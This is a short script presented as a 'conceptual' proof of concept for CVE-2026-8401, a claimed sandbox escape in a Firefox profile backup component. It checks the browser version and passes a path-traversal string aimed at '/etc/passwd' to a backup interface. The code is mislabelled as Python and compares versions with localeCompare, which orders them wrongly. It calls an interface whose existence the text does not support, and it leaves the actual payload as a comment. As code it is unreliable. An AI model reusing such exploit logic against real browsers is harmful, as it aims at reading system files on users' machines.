The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-8401 (Conceptual)
* This script attempts to trigger the sandbox escape vulnerability
* in the Firefox Profile Backup component.
* Note: This is a conceptual demonstration for educational purposes.
*/
function checkVulnerability() {
// Check if the Firefox version is vulnerable
var userAgent = navigator.userAgent;
var versionMatch = userAgent.match(/Firefox\/(\d+\.\d+\.\d+)/);
if (versionMatch) {
var version = versionMatch[1];
console.log("[+] Detected Firefox version: " + version);
// Vulnerability exists in versions < 150.0.3
if (version.localeCompare("150.0.3") < 0) {
console.log("[!] Version is vulnerable to CVE-2026-8401.");
triggerExploit();
} else {
console.log("[-] Version is patched.");
}
} else {
console.log("[-] Target browser is not Firefox.");
}
}
function triggerExploit() {
try {
// Attempt to interact with the Profile Backup component
// In a real scenario, this would involve specific API calls
// that trigger the logic flaw leading to sandbox escape.
var backupComponent = window.getInterface ? window.getInterface(Components.interfaces.nsIProfileBackup) : null;
if (backupComponent) {
console.log("[+] Accessing Profile Backup component...");
// Malicious payload execution would occur here
// Simulating the escape attempt
backupComponent.startBackup("../../../../../etc/passwd");
console.log("[+] Exploit trigger sent.");
} else {
console.log("[-] Component not accessible.");
}
} catch (e) {
console.log("[!] Error during exploit execution: " + e.message);
}
}
// Run the check
checkVulnerability();